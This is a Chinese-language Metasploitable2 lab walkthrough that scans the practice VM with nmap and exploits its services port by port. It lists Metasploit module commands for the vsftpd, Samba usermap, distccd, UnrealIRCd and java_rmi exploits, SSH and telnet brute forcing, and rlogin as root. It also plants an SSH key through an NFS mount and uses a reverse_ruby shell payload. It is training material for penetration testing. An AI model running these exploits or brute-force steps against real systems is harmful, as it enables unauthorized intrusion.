Metasploittable2打靶教程本次靶机练习主要熟悉:高危端口利用;metasploit中search,show及各个模块使用。
一、环境准备
1.把靶场放在vmware打开,启用nat模式:
2.启用kali
二、信息收集
3.确认目标:
使用nmap扫描该局域网,确认目标开放端口服务信息。
sudo nmap -sS 192.168.1.0/24
这是后面复现完第一张漏洞时,查看靶机漏洞清单,发现少了些端口,还以为是自己靶机没开这些端口呢,结果是自己nmap端口没扫完。这是后面重新扫描的第二张,可见最好平时做实战及靶机时最好扫完 全端口,以免遗漏高端口漏洞。
4.确认操作系统
sudo nmap -O 192.168.1.0/24
也可以和之前的命令一起用
例:sudo nmap -sS -O 192.168.1.0/24
实战中:在确认目标IP后,建议使用:sudo nmap -PN -O 192.168.1.130
更详细服务信息,以便收集已公开漏洞
sudo nmap -sS 192.168.1.130
漏洞清单:
从顺序来吧
21(ftp)
vsftpd是在UNIX 类操作系统上运行的一个完全免费的、开放源代码的ftp服务器软件
可用msf扫描该服务,该ftp正常来说只有匿名访问和弱口令。
匿名访问:
1.启用msf2.寻找漏洞代码 (vsftpd),查看该服务有无漏洞
3.使用
显示payloads
只有一个就自动选择
也可手动定义payload
4.查看配置
5.设置目标
6.运行
直接root权限
22(ssh)
- Search ssh_login 搜索模块
- Use auxiliary/scanner/ssh/ssh_login 使用模块
- Set RHOST 192.168.1.130 设置目标地址
- Set USER_FILE XXX 设置用户字典路径
- Set PASS_FILE XXX 设置字典密码路径
- Set THREADS 100 设置线程是100
- Run
复制代码
爆破成功msfadmin:msfadmin
23(telnet)
- search telnet_login
- use 1
- Set RHOST 192.168.1.134 设置目标地址
- Set USER_FILE XXX 设置用户字典路径
- Set PASS_FILE XXX 设置字典密码路径
- Set THREADS 100 设置线程是100
- Run
复制代码
80(php-cgi)
先访问该该网站是什么站:
- Mutillidae 和 DVWA这两个练习平台就不说了
- 扫描目录发现漏洞点
- 2012年的漏洞
server API 是CGI方式运行的,这个方式在PHP存在漏洞-Cgi参数注入
- phpinfo.php ===>php-cgi
- phpadmin
- search php-cgi
- use 0
- set rhost 192.168.1.130
- run
复制代码
111(RPC)
- auxiliary/scanner/misc/sunrpc_portmapper
复制代码
只能拿来ddos
139,445(smba)
1.Samba 在配置了可写文件共享并启用了“宽链接”(默认打开)时,也可以用作某种后门来访问不打算共享的文件。- smbclient -L //192.168.1.130
复制代码- use auxiliary/admin/smb/samba_symlink_traversal
- set rhost 192.168.1.130
- set SMBSHARE tmp
- run
复制代码- smbclient //192.168.1.130/tmp
复制代码
SambaMS-RPC Shell 命令注入漏洞- search samba
- use exploit/multi/samba/usermap_script
- set rhost xxxx
- run
复制代码
512.513.514 (r)
TCP 端口 512、513 和 514 被称为“r”服务,并且被错误配置为允许从任何主机进行远程访问- sudo apt-get install rsh-client
- rlogin -l root 192.168.1.130
复制代码
1099(java_rmi)
原理:Java RMI Server 的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致- use exploit/multi/misc/java_rmi_server
复制代码
1524(ingreslock):
1524端口 ingreslock Ingres 数据库管理系统(DBMS)锁定服务
利用telnet命令连接目标主机的1524端口,直接获取root权限。
Ingreslock后门程序监听在1524端口,连接到1524端口就可以直接获得root权限, 经常被用于入侵一个暴露的服务器。
ingreslock 端口是为受感染服务器添加后门的流行选择。访问它很容易:
2049(NFS)
NFS全称Network File System,即网络文件系统,属于网络层,主要用于网络间文件的共享,最早由sun公司开发。
复现环境:Kali2017、Metasploit2
复现思路:利用NFS服务将本地主机的ssh公钥传输到目标主机上,再利用ssh连接到目标主机
1.kali下连接靶机的NFS服务- sudo apt-get install nfs-common
- showmount -e 192.168.1.130
- mkdir /tmp/192.168.1.130
- sudo mount -t nfs 192.168.1.130:/ /tmp/192.168.1.130/
- cd /tmp/192.168.1.130/
- ls -la
复制代码
2.将本地主机的ssh公钥发送到目标主机并通过ssh连接靶机- ssh-keygen
- cat .ssh/id_rsa.pub >> /tmp/192.168.1.130/root/.ssh/authorized_keys
- ssh root@192.168.1.130
复制代码 不过这里遇到点小坑
解决办法:链接- ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa root@192.168.1.130
复制代码
3306(mysql)
mysql空密码:- 使用模块:use auxiliary/scanner/mysql/mysql_login
复制代码- search mysql_login
- use 0
- set username root
复制代码
3632(distccd)
除了上一节中的恶意后门,一些服务本质上几乎就是后门。- search distccd
- use 0
- set rhost 192.168.1.130
复制代码 这里如果我们用默认的payload会no session,这里切换下payload- show payloads
- set payload cmd/unix/reverse_ruby
复制代码
5432(postgresql)
1.爆破:- auxiliary/scanner/postgres/postgres_login
复制代码 postgresql 密码:postgres
2.Linux安装的PostgreSQL, postgres服务帐户可以写到/tmp目录,还有共享库,允许任意执行代码
这是nmap的指纹
也可以通过msf的模块:canner/postgres/postgres_version
后渗透利用推荐
5900(vnc)
vnc 密码: password
6667(IRC)
- 根据nmap指纹信息
- search UnrealIRCd
- use 0 || use exploit/unix/irc/unreal_ircd_3281_backdoor
- set rhost 192.168.1.130
- run
复制代码
一把梭失败,检查错误:发现pay失败,切换payload。
查看可用payload
show payloads
8180(tomact)
暴力破解账号密码:tomcat;tomcat
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |